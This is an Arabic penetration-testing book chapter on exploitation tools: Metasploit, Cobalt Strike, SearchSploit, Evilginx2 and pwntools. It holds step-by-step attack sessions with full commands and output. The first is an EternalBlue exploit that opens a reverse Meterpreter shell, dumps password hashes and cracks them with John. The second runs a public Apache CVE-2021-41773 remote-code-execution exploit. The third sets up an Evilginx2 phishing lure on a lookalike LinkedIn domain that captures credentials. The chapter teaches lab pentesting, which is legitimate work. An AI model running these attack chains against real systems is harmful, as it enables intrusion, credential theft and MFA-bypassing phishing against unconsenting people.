يحتوي بروتوكول TCP على 65,535 منفذاً، وكذلك بروتوكول UDP يحتوي على 65,535 منفذاً، ما يعني نظرياً مساحة هجوم ضخمة جداً. ومع ذلك يركز المهاجمون غالباً على منافذ ذات قيمة عملياتية عالية. على سبيل المثال يمثل المنفذ HTTP 80 أحد أهم الأهداف لأنه غالباً واجهة مباشرة لتطبيقات وخدمات الويب. أي ضعف في التطبيق قد يؤدي إلى ثغرات خطيرة مثل Remote Code Execution أو SQL Injection أو Cross-Site Scripting (XSS) أو Directory Traversal أو Server-Side Request Forgery (SSRF)، وهذه قد تسمح بالسيطرة على الخادم أو الوصول إلى بيانات حساسة أو تنفيذ أوامر على النظام. اما منفذ HTTPS 443 لا يعني الأمان الكامل، فالتشفير يحمي القناة لكنه لا يحمي التطبيق نفسه. إذا كان التطبيق ضعيفاً أو غير محدث فإن الهجوم يبقى ممكناً حتى مع الاتصال المشفر.

هناك منافذ حساسة أخرى ذات قيمة عالية مثل المنفذ RDP 3389 الذي يوفر وصولاً مباشراً لسطح المكتب في أنظمة ويندوز وغالباً يستهدف بهجمات Ransomware و Credential Stuffing و Brute Force. كما أن المنفذ 445 SMB ارتبط تاريخياً بثغرات كارثية مثل EternalBlue التي أدت إلى هجمات عالمية مثل WannaCry. بينما يمثل المنفذ SSH 22 نقطة دخول إدارية لأنظمة لينكس وغالباً يستهدف بمحاولات كسر كلمات المرور أو استغلال إعدادات ضعيفة.

المنهجية الحديثة للهجوم تعتمد على السرعة ثم الدقة. في البداية يتم استخدام أدوات مسح فائقة السرعة مثل Masscan لمسح نطاقات ضخمة من عناوين IP خلال دقائق لاكتشاف المنافذ المفتوحة. بعد ذلك يتم الانتقال إلى مرحلة تحليل أعمق باستخدام Nmap لإجراء مسح تشخيصي متقدم يتضمن كشف إصدار الخدمة (Service Version Detection) و التعرف على نظام التشغيل (OS Detection) وتحديد الخدمات النشطة بدقة، بل وحتى محاولة اكتشاف الثغرات المرتبطة بهذه الخدمات. هذا يعني أن أي خادم جديد يتم توصيله بالإنترنت بإعدادات خاطئة يمكن اكتشافه واستهدافه خلال دقائق قليلة وليس أياماً.

القيمة الحقيقية لهذه الأدوات لا تكمن في إنتاج تقرير تقني مليء بالأرقام، بل في بناء تصور استخباراتي واضح للبنية الدفاعية للهدف. مرحلة الاستطلاع تكشف ما الذي يعمل فعلياً، وما الذي يمكن استغلاله، وما الذي يشكل خطراً حقيقياً، وما الذي يمكن تجاهله. بهذه الطريقة يتم تحديد الأولويات وتقليل الضوضاء وتحويل النتائج إلى قرارات عملية.

إتقان مرحلة الاستطلاع لا يعني تنفيذ أوامر بشكل آلي، بل يتطلب قدرة تحليلية تفهم السياق وتقرأ النتائج بدقة وتحولها إلى خطة عملياتية واضحة. عند هذه النقطة لا يكون المختص مجرد مستخدم أداة، بل يصبح محللاً هجومياً يمتلك رؤية واضحة ويعرف كيف يوازن بين المخاطر والعائد ويحدد نقاط الهجوم الأكثر تأثيراً.

وفي النهاية يجب التأكيد أن الفحص ليس نهاية الرحلة، بل هو المرحلة التي تسبق التنفيذ الهجومي مباشرة. فإذا كان هذا الفصل قد مكّن القارئ من تحديد المساحة الهجومية والخدمات النشطة والمنافذ الحساسة ونقاط الضعف المحتملة، فإن الفصل التالي ينتقل إلى المرحلة الأهم وهي استغلال هذه النتائج وتحويل المعلومات التي جُمعت هنا إلى تأثير عملي داخل النظام

المستهدف باستخدام مفاهيم عملية مثل Metasploit و Exploit Modules و Payloads و Post-Exploitation.

٣ الاستغلال واختبار الاختراق

في الأقسام السابقة، كنا مثل الجيش الذي يستطلع أسوار القلعة، حيث قمنا برسم الخرائط وتحديد الأبواب. الآن، نصل إلى لحظة الحقيقة. هذا القسم هو عن فن وعلم اقتحام تلك القلعة والسيطرة عليها من الداخل. الاستغلال ليس مجرد قرع على الباب، بل هو استخدام المعرفة التي جمعناها لتحطيم الأقفال والوصول إلى قلب النظام. هنا ننتقل من دور الكشافة إلى دور القوات الخاصة.

أنا أؤمن أن أفضل طريقة لفهم أهمية هذا المجال هي بالنظر إلى التاريخ. لنتذكر ما حدث في يوم الجمعة، 12 مايو 2017 بهجوم WannaCry. لم تكن هذه مجرد برمجية خبيثة عادية، بل كانت سلاحاً رقمياً استغل ثغرة خطيرة في بروتوكول SMB الخاص بنظام Windows تُعرف باسم EternalBlue (CVE-2017-0144). النتيجة كانت كارثية: في غضون ساعات، أصيب أكثر من 200,000 جهاز كمبيوتر في 150 دولة بالشلل، بما في ذلك أنظمة هيئة الخدمات الصحية الوطنية في بريطانيا (NHS) مما أدى إلى إلغاء 19,000 موعد طبي. كل هذه الفوضى العالمية لم تنشأ من ثغرة في موقع ويب، بل من ثغرة في خدمة أساسية تعمل في قلب نظام التشغيل.

لكن الاستغلال لا يقتصر فقط على الثغرات الفنية. في كثير من الأحيان، يكون الإنسان هو الحلقة الأضعف. فالهجمات الحديثة غالباً ما تبدأ بهجوم تصيد احتيالي متقن يهدف إلى سرقة بيانات الاعتماد أو ملفات تعريف الارتباط للجلسة، متجاوزاً بذلك حتى المصادقة متعددة العوامل. لهذا السبب، يغطي هذا الفصل كلاً من استغلال الأنظمة والخدمات، واستغلال العامل البشري.

الأدوات في هذا الفصل هي الأدوات التنفيذية لهذه الهجمات، فإطار Metasploit يحول استغلالاً معقداً لثغرة مثل EternalBlue إلى مجرد أوامر بسيطة للحصول على جلسة Meterpreter بامتيازات SYSTEM. وأدوات مثل Evilginx2 تسمح بمحاكاة هجمات رجل في المنتصف المتقدمة لسرقة الجلسات. أما بعد الاختراق، فتأتي أدوات مثل Mimikatz التي تتعمق في LSASS.exe لانتزاع كل أشكال بيانات الاعتماد. إتقان هذه الترسانة المتكاملة هو فهم جوهر العمليات الهجومية الحديثة.

١.٣ Metasploit Framework

Metasploit Framework ليس مجرد برنامج واحد، بل بيئة عمل متكاملة لاختبار الاختراق، طُوِّرت وتُدار حالياً من شركة Rapid7، وتوفر للمختص الأمني منصة عملية لبناء وتشغيل وأتمتة سيناريوهات الهجوم بشكل منهجي بدلاً من الاعتماد على سكربتات متناثرة.

فكرة Metasploit الأساسية بسيطة وقوية في نفس الوقت: فصل واضح بين الاستغلال والحمولة داخل بنية معيارية (Modular Architecture)، بحيث يمكنك الجمع بين أي استغلال متوافق وأي حمولة مناسبة بحسب هدف الاختبار والبيئة المستهدفة كما يلي:

- **وحدات الاستغلال (Exploits)**: وحدات جاهزة تستهدف ثغرات محددة في أنظمة وتطبيقات مختلفة، وتُحدِّث بشكل مستمر لتشمل أحدث الثغرات المعروفة.

- **الحمولات (Payloads)**: الكود الذي يعمل بعد نجاح الاستغلال، مثل Meterpreter أو قنوات reverse shell، ويمكن إعادة استخدامه مع استغلالات متعددة.
- **الوحدات المساعدة (Auxiliary)**: لكل ما هو خارج نطاق الاستغلال المباشر، مثل المسح (scanning)، وجمع المعلومات، واختبار كلمات المرور، وبعض أنواع هجمات حجب الخدمة (DoS).
- **وحدات ما بعد الاستغلال (Post-Exploitation)**: تُستخدم بعد الحصول على وصول أولي لجمع بيانات الاعتماد، ورفع الصلاحيات، والتحرك الجانبي (Lateral Movement) داخل الشبكة.

واجهة التحكم الأساسية هي msfconsole، وهي واجهة نصية تفاعلية تسمح بإدارة الوحدات، ضبط الإعدادات، تشغيل الهجمات، ومتابعة الجلسات بشكل عملي، مع إمكانية التكامل مع أدوات أخرى مثل Nmap وNessus لاستيراد النتائج وبناء سيناريو متكامل لاختبار الاختراق.

الخاصية	القيمة
مستوى المهارة المطلوب	متقدم
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني (مع إصدارات وتجهيزات تجارية مدفوعة)
نوع الترخيص	BSD 3-Clause

مميزات أداة Metasploit Framework

مثال عملي: استغلال ثغرة EternalBlue وسرقة كلمات المرور (John & Metasploit)

```
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.48.141.39
run
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.48.141.39
set LHOST tun0
exploit
```

شرح المثال: يبدأ السيناريو بفحص الهدف 39.141.48.10 للتأكد من إصابته بثغرة MS17-010. بعد التأكد، يتم إعداد الاستغلال وتوجيه الاتصال العكسي عبر واجهة tun0. بعد نجاح الاستغلال والحصول على صلاحيات SYSTEM، يتم استخراج هاشات كلمات المرور (hashdump)، وأخيراً استخدام أداة John لكسر الهاش واكتشاف كلمة المرور.

المخرجات:

```
  (yaser CyberBookio)-[~]
 $ sudo msfconsole
Metasploit tip: View all productivity tips with the tips command


      .~+P``````-o+:.                                  -o+:.
.+oooyysyyssyyssyddh++os-`````                  ```````````````          `
++++++++++++++++++++++sydhyoyso/:.````...`...-///::+ohhyosyyosyy/+om++:ooo///o
++++///////~~~~///////+++++++++++++++ooyysoyysosso++++++++++++++++++///oossosy
--.`                 .-.-...-////+++++++++++++++////////~~//////++++++++++++///
                              `..............`              `...-/////...`


                                  .::::::::::-.                      .:::::::-
                                .hmMMMMMMMMMMNddds\...//M\\.../hddddmMMMMMMNo
                                 :Nm-/NMMMMMMMMMMMMM$$NMMMMm&&MMMMMMMMMMMMMMMy
                                 .sm/`-yMMMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMMMh`
                                  -Nd`  :MMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMMh`
                                   -Nh` .yMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMm/
    `oo/``-hd:  ``                  .sNd  :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMm/
      .yNmMMh//+syysso-``````       -mh` :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMd
    .shMMMMN//dmNMMMMMMMMMMMMs`     `:```-o++++oooo+:/ooooo+:+o+++oooo++/
    `///omh//dMMMMMMMMMMMMMMMN/:::::/+ooso--/ydh//+s+/osssso:--syN///os:
          /MMMMMMMMMMMMMMMMMMd.     `/++-.-yy/...osydh/-+oo:-`o//...oyodh+
          -hMMmssddd+:dMMmNMMh.     `.-=mmk.//^^^\\.^^`:++:^^o://^^^\\`::
          .sMMmo.     -dMd--:mN/`            ||--X--||           ||--X--||
.........../yddy/:...+hmo-...hdd:............\\=v=//............\\=v=//.........
================================================================================
====================+-----------------------------+=========================
====================| Session one died of dysentery. |=========================
====================+-----------------------------+=========================
```

```
=[ metasploit v6.4.98-dev                                  ]
+ -- --=[ 2,571 exploits - 1,316 auxiliary - 1,680 payloads     ]
+ -- --=[ 432 post - 49 encoders - 13 nops - 9 evasion          ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 10.48.141.39
RHOSTS => 10.48.141.39
msf auxiliary(scanner/smb/smb_ms17_010) > run
[+] 10.48.141.39:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Profes
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.23/lib/recog/
[*] 10.48.141.39:445      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblu
```

```
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.48.141.39
RHOSTS => 10.48.141.39
msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST tun0
LHOST => tun0
msf exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.154.215:4444
[*] 10.48.141.39:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.48.141.39:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Profes
[*] 10.48.141.39:445      - Scanned 1 of 1 hosts (100% complete)
[+] 10.48.141.39:445 - The target is vulnerable.
[*] 10.48.141.39:445 - Connecting to target for exploitation.
[+] 10.48.141.39:445 - Connection established for exploitation.
[+] 10.48.141.39:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.48.141.39:445 - CORE raw buffer dump (42 bytes)
[*] 10.48.141.39:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  W
[*] 10.48.141.39:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  s
[*] 10.48.141.39:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                     i
[+] 10.48.141.39:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.48.141.39:445 - Trying exploit with 12 Groom Allocations.
[*] 10.48.141.39:445 - Sending all but last fragment of exploit packet
[*] 10.48.141.39:445 - Starting non-paged pool grooming
[+] 10.48.141.39:445 - Sending SMBv2 buffers
[+] 10.48.141.39:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2
[*] 10.48.141.39:445 - Sending final SMBv2 buffers.
[*] 10.48.141.39:445 - Sending last fragment of exploit packet!
[*] 10.48.141.39:445 - Receiving response from exploit packet
[+] 10.48.141.39:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.48.141.39:445 - Sending egg to corrupted connection.
[*] 10.48.141.39:445 - Triggering free of corrupted buffer.
[*] Sending stage (230982 bytes) to 10.48.141.39
[*] Meterpreter session 1 opened (192.168.154.215:4444 -> 10.48.141.39:49169) at 2025
```

```
[+] 10.48.141.39:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.48.141.39:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.48.141.39:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
meterpreter > exit
[*] Shutting down session: 1

[*] 10.48.141.39 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(windows/smb/ms17_010_eternalblue) > exit

  (yaser CyberBookio)-[~]
 $ echo "ffb43f0de35be4d9917ac0cc8ad57f8d" > jon.hash

  (yaser CyberBookio)-[~]
 $ john jon.hash --format=NT --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 ASIMD 4x2])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
alqfna22         (?)
1g 0:00:00:00 DONE (2025-12-03 15:44) 2.702g/s 27587Kp/s 27587Kc/s 27587KC/s alshanee
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.

  (yaser CyberBookio)-[~]
 $
```

تحميل: https://www.metasploit.com

٢.٣ Cobalt Strike

إذا كان Metasploit هو الإطار الأشهر لبناء الاستغلالات وتجربتها، فـ Cobalt Strike هو المنصة المتقدمة لإدارة عمليات ما بعد الاستغلال (Post-Exploitation) وعمليات الفريق الأحمر (Red Team Operations) بشكل احترافي ومتكامل. الأداة تُستخدم تجارياً بشكل واسع من قبل فرق الاختراق والأمن الهجومي، وفي نفس الوقت للأسف تُعتبر من أكثر المنصات المفضلة لدى كثير من مجموعات التهديد المتقدم المستمر (APTs) حول العالم.

جوهر قوة Cobalt Strike هو الحمولة (Payload) الأساسية المسماة Beacon. الـ Beacon عبارة عن عميل متقدم يعمل غالباً في الذاكرة (In-Memory)، ويُستخدم للتحكم بالجهاز المخترق على المدى الطويل مع الحفاظ قدر الإمكان على التخفي من أنظمة الحماية التقليدية (AV/EDR) وأنظمة مراقبة الشبكات (IDS/IPS). من خلال الـ Beacon يمكن تنفيذ أغلب مهام ما بعد الاستغلال مثل تشغيل الأوامر، حقن الذاكرة، سرقة الرموز (Token Stealing) لتصعيد الصلاحيات، تجاوز UAC، والتحرك الجانبي (Lateral Movement) داخل الشبكة باستخدام بروتوكولات وتقنيات مختلفة (مثل SMB Named Pipes وغيرها).

الميزة الأهم والأخطر في نفس الوقت هي ما يُعرف باسم Malleable C2 Profiles. هذه الخاصية تسمح بتخصيص شكل وسلوك بروتوكول القيادة والتحكم (C2) بالكامل، بحيث يمكن جعل حركة مرور الـ Beacon تبدو وكأنها زيارات ويب عادية لمتصفح Chrome، أو استعلامات DNS طبيعية، أو أي نمط آخر لحركة مرور شرعية تقريباً. هذا التخصيص في البروتوكول يجعل مهمة أنظمة المراقبة في التمييز بين الاتصال الخبيث والاتصال الشرعي أكثر صعوبة، وهو من الأسباب الرئيسية لقوة Cobalt Strike في التخفي على الشبكات الكبيرة والمعقدة.

من الناحية العملية، تم تصميم Cobalt Strike ليكون منصة تعاونية لفرق العمل، من خلال ما يُسمى بخادم الفريق (Team Server)، والذي يسمح لعدة مختصين بالعمل في نفس الوقت على نفس البيئة أو الأهداف، ومشاركة الجلسات والبيانات وتنظيم الهجمات من واجهة واحدة موحدة. المنصة تدعم أنظمة تشغيل مختلفة على مستوى المشغل (Operator) وعلى مستوى البنية التحتية (C2)، وغالباً ما تُشغَّل على Linux مع إمكانية استهداف أنظمة Windows وLinux وmacOS.

الخاصية	القيمة
مستوى المهارة المطلوب	خبير (أمن هجومي / فريق أحمر)
أنظمة التشغيل المدعومة للاستخدام	Linux, Windows, macOS
التكلفة	مدفوع (ترخيص تجاري)
نوع الترخيص	احتكاري

مميزات أداة Cobalt Strike

٣.٣ SearchSploit

SearchSploit من الأدوات البسيطة في الشكل، والقوية جداً في الفكرة، وهي باختصار واجهة طرفية (command-line) لقاعدة بيانات الثغرات الشهيرة Exploit-DB التي تطورها Offensive Security (نفس الفريق خلف Kali Linux وشهادة OSCP).

فكرة الأداة الأساسية أنك تستطيع الوصول إلى قاعدة ضخمة من الاستغلالات والـShellcode بشكل محلي ودون الحاجة لأي اتصال بالإنترنت (Offline)، وهذا ما يجعلها عملية جداً في سيناريوهات الاختبار الحقيقية أو عمليات الفرق الحمراء عندما يكون جهاز المختبر داخل شبكة معزولة أو غير مسموح له بالخروج للإنترنت لأي سبب أمني أو تشغيلي.

بدلاً من فتح المتصفح والبحث في جوجل عن استغلال لخدمة معينة مثل ProFTPD 3a.3.1، يكفي أن تستخدم أمر البحث في SearchSploit لتظهر لك مباشرة كل الاستغلالات العامة (public exploits) والحمولات المتوفرة والمفهرسة في قاعدة Exploit-DB مع إمكانية نسخها أو استعراضها محلياً.

الأداة نفسها تعمل كمحرّك بحث بسيط وفعال في نفس الوقت، وتسمح لك بالبحث باستخدام الكلمات المفتاحية، أو رقم الثغرة الموحد (CVE)، أو نوع النظام المستهدف مثل Windows أو Linux أو تطبيقات PHP، أو حتى حسب نوع الهجوم مثل RCE أو LFI. كما توفر خيارات عملية مثل نسخ ملف الاستغلال مباشرة إلى مجلد العمل الحالي باستخدام الخيار (-m) أو استعراض الكود المصدري للاستغلال عن طريق (-p) قبل تنفيذه، وهي خطوة مهمة لفهم طريقة عمل الاستغلال وتعديله بما يتناسب مع الهدف.

الخاصية	القيمة
مستوى المهارة المطلوب	متوسط
أنظمة التشغيل	Linux, Windows, macOS
التكلفة	مجاني
نوع الترخيص	GPL-0.3

مميزات أداة SearchSploit

مثال عملي: اكتشاف واستغلال ثغرة (Path Traversal/RCE) في خادم Apache:

```
1. nmap -sV -p 80 10.48.171.90
2. searchsploit apache 2.4.49
```

```
3. searchsploit -m 50383
4. ./50383.sh targets.txt /bin/sh id
```

شرح المثال: هذا المثال يوضح منهجية الاختراق اليدوي المستند إلى المعلومات العامة:

١. **الاستكشاف :(Enumeration)** كشف فحص Nmap أن الخادم يعمل بإصدار Apache 2.4.49.

٢. **البحث :(Search)** استخدمنا searchsploit للبحث في قاعدة بيانات الثغرات، ووجدنا استغلالاً لثغرة (CVE-2021-41773) التي تسمح بتجاوز المسار وتنفيذ الأكواد.

٣. **التحضير :(Preparation)** قمنا بنسخ كود الاستغلال (50383 -m) إلى مجلدنا، وأعددنا ملف targets.txt يحتوي على عنوان الهدف.

٤. **الاستغلال :(Exploitation)** عند تشغيل السكربت مع الأمر id، استجاب الخادم ببيانات المستخدم الحالي ((uid=1(daemon))، مما يؤكد نجاح تنفيذ الأكواد عن بعد (RCE).

المخرجات:

```
  (yaser CyberBookio)-[~]
 $ nmap -sV -p 80 10.48.171.90
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-03 16:28 +04
Nmap scan report for 10.48.171.90
Host is up (0.091s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.49 ((Unix))

Service detection performed. Please report any incorrect results at https://nmap.org/
Nmap done: 1 IP address (1 host up) scanned in 7.05 seconds

  (yaser CyberBookio)-[~]
 $ searchsploit apache 2.4.49
------------------------------------------------------------------------------
 Exploit Title
------------------------------------------------------------------------------
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution
```

```
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)
Apache OpenMeetings 1.9.x < 3.1.0 - '.ZIP' File Directory Traversal
Apache Tomcat < 5.5.17 - Remote Directory Listing
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC)
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Re
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Re
Apache Xerces-C XML Parser < 3.1.2 - Denial of Service (PoC)
Webfroot Shoutbox < 2.32 (Apache) - Local File Inclusion / Remote Code Execution
-------------------------------------------------------------------------------
Shellcodes: No Results

  (yaser CyberBookio)-[~]
 $ searchsploit -m 50383
  Exploit: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)
      URL: https://www.exploit-db.com/exploits/50383
     Path: /usr/share/exploitdb/exploits/multiple/webapps/50383.sh
    Codes: CVE-2021-41773
 Verified: True
File Type: ASCII text
Copied to: /home/yaser/50383.sh

  (yaser CyberBookio)-[~]
 $ nano targets.txt

  (yaser CyberBookio)-[~]
 $ ./50383.sh targets.txt /bin/sh id
```

```
10.48.171.90
uid=1(daemon) gid=1(daemon) groups=1(daemon)

  (yaser CyberBookio)-[~]
 $
```

تحميل: https://www.exploit-db.com/searchsploit

٤.٣ Evilginx2

تُمثل هذه الأداة نقلة نوعية في هجمات التصيد الاحتيالي، وهي مصممة لحل المشكلة الأكبر التي تواجه المهاجمين اليوم وهي المصادقة متعددة العوامل (MFA). أدوات التصيد التقليدية التي تعتمد على استنساخ صفحة الويب (HTML cloning) تفشل أمام MFA؛ فحتى لو نجحت في سرقة كلمة المرور، لا يزال المهاجم بحاجة إلى الرمز المتغير (OTP).

هنا يأتي دور Evilginx2 (الذي طوره Kuba Gretzky) ليغير قواعد اللعبة. الأداة لا تستنسخ الموقع، بل تعمل كوسيط أو وكيل عكسي (Reverse Proxy) متكامل. الضحية لا تتفاعل مع صفحة مزيفة ثابتة، بل تتفاعل مع الموقع الحقيقي (مثل Microsoft 365 أو Google)، ولكن عبر خادم المهاجم. يتم تنظيم هذه العملية المعقدة باستخدام ملفات إعدادات جاهزة تُسمى Phishlets. يحدد كل Phishlet النطاقات التي يجب انتحالها، والمسارات التي يجب اعتراضها، والأهم من ذلك، ما هي ملفات تعريف الارتباط (Cookies) التي تمثل الجلسة النشطة.

عندما ينقر الضحية على الرابط الخبيث (المؤمّن بشهادة SSL/TLS شرعية عبر Let's Encrypt)، فإنه يبدأ في التفاعل مع الخادم الحقيقي من خلال Evilginx2. يقوم الخادم الوسيط بعرض صفحة تسجيل الدخول الحقيقية، ثم يعترض بيانات الاعتماد ويمررها، ويعترض طلب الـ MFA ويعرضه للضحية، ثم يعترض استجابة الـ MFA من الضحية ويمررها. بعد نجاح المصادقة، يعترض Evilginx2 ملف تعريف الارتباط الخاص بالجلسة (Session Cookie) الذي يرسله الخادم الحقيقي ويسجله للمهاجم.

النتيجة هي أن المهاجم لا يحصل على كلمة المرور فقط، بل يحصل على الجلسة الموثقة بالكامل. يمكنه بعد ذلك حقن هذا الـ Cookie في متصفحه الخاص والوصول المباشر إلى حساب الضحية، متجاوزاً بذلك MFA بالكامل.

الخاصية	القيمة
مستوى المهارة المطلوب	متقدم
أنظمة التشغيل	Linux
التكلفة	مجاني
نوع الترخيص	BSD 3-Clause

مثال عملي: إعداد حملة تصيد متقدمة (MitM) واعتراض الجلسات باستخدام Evilginx2:

```
sudo ./evilginx2 -developer
```

شرح المثال: أداة Evilginx2 تعمل كوسيط (Reverse Proxy) بين الضحية والموقع الحقيقي، مما يسمح لها باعتراض رموز التحقق الثنائي (2FA Tokens). في هذا السيناريو الكامل:

- **الإعداد:** قمنا بتشغيل الأداة وضبط النطاق المخادع (inkedin.com) ليعمل محلياً (1.0.0.127).
- **تفعيل القالب:** قمنا بتحميل وتفعيل phishlet مخصص يحاكي موقع الهدف (login.inkedin.com).
- **إنشاء الطُعم (Lure):** أنشأنا رابط تصيد مخصص (https://academy.login.inkedin.com/...).
- **الاصطياد الناجح:** السجل يظهر دخول زائر جديد (New Visitor) باستخدام متصفح Chrome على Linux، ثم التقاط اسم المستخدم (dr.yaser@alosefer.com) وكلمة المرور (password123) فور إدخالها.

المخرجات:

```
 (yaser CyberBookio)-[~/evilginx2]
$ sudo ./evilginx2 -developer
```

```
- --  Community Edition  -- -

by Kuba Gretzky (@mrgretzky)      version 3.3.
```

```
[23:09:13] [inf] Evilginx Pro is finally out: https://evilginx.com (advanced phishing
[23:09:13] [inf] Evilginx Mastery Course: https://academy.breakdev.org/evilginx-maste
[23:09:13] [inf] loading phishlets from: /home/yaser/evilginx2/phishlets
[23:09:13] [inf] loading configuration from: /root/.evilginx
[23:09:13] [inf] blacklist: loaded 0 ip addresses and 0 ip masks

+-----------+----------+-------------+-------------------+-------------+
| phishlet  | status   | visibility  |      hostname     | unauth_url  |
+-----------+----------+-------------+-------------------+-------------+
| example   | enabled  | visible     | login.inkedin...  |             |
+-----------+----------+-------------+-------------------+-------------+

: config domain inkedin.com
[23:09:23] [inf] server domain set to: inkedin.com
: config ipv4 external 127.0.0.1
[23:09:29] [inf] server external IP set to: 127.0.0.1
: phishlets hostname example login.inkedin.com
[23:09:35] [inf] phishlet 'example' hostname set to: login.inkedin.com
[23:09:35] [inf] disabled phishlet 'example'
: phishlets enable example
[23:09:44] [inf] enabled phishlet 'example'
: lures create example
[23:09:51] [inf] created lure with ID: 1
: lures get-url 0

https://academy.login.inkedin.com/QIjzUfko

[23:23:54] [imp] [0] [example] new visitor has arrived: Mozilla/5.0 (X11; Linux x86_6
[23:23:54] [inf] [0] [example] landing URL: https://academy.login.inkedin.com/QIjzUfk
[23:26:31] [+++] [0] Username: [dr.yaser@alosefer.com]
[23:26:31] [+++] [0] Password: [password123]
: exit
```

```
(yaser CyberBookio)-[~/evilginx2]
$
```

تحميل: https://github.com/kgretzky/evilginx2

٥.٣ pwntools

يُعتبر pwntools إطار العمل (Framework) القياسي والأكثر هيمنة في مجال تطوير الاستغلالات (Exploit Development)، وتحديداً في عالم أمن البرمجيات وثغرات الأنظمة ثنائية التنفيذ (Binary Exploitation). هذه المكتبة المكتوبة بالكامل بلغة Python (والتي طورها فريق Gallopsled) هي الأداة المفضلة بلا منازع لمتسابقي التقاط العلم (CTF) والباحثين الأمنيين.

قبل pwntools، كانت عملية كتابة استغلال لثغرة فيض المخزن المؤقت (Buffer Overflows) أو تلف الذاكرة (Memory Corruption) تتطلب كتابة scripts معقدة بلغات مثل Perl أو C للتعامل مع إرسال بايتات (bytes) دقيقة، وإدارة الاتصالات (sockets)، والتعامل مع تحويلات البيانات. جاء pwntools ليُبسط كل هذا بشكل جذري.

قوتها تكمن في تجريد (abstraction) المهام المعقدة. فبدلاً من القلق حول كيفية حزم (pack) عنوان ذاكرة ليتوافق مع بنية 32-bit أو 64-bit، يمكنك ببساطة استخدام p32() أو p64(). كما أنه يوحد عملية الاختبار؛ فيمكنك تطوير الاستغلال بالكامل على جهازك المحلي ضد البرنامج الهدف مباشرة باستخدام process('./vuln_app')، وعندما يصبح جاهزاً، كل ما عليك فعله هو تغيير سطر واحد إلى remote('ip', port) لاستهداف الخادم البعيد.

بالإضافة إلى ذلك، يوفر الإطار أدوات متقدمة للغاية، أبرزها القدرة على تحليل ملفات ELF للعثور على العناوين، والقدرة شبه السحرية على بناء سلاسل ROP (Return-Oriented Programming) المعقدة تلقائياً عبر فئة ROP التي تبحث عن الأدوات (gadgets) داخل البرنامج وترتبها لتنفيذ أوامر. لهذه الأسباب، يُعد pwntools أداة أساسية لأي شخص يتعامل بجدية مع ثغرات الذاكرة.

الخاصية	القيمة
مستوى المهارة المطلوب	خبير
أنظمة التشغيل	Linux, macOS
التكلفة	مجاني
نوع الترخيص	MIT

مميزات أداة pwntools

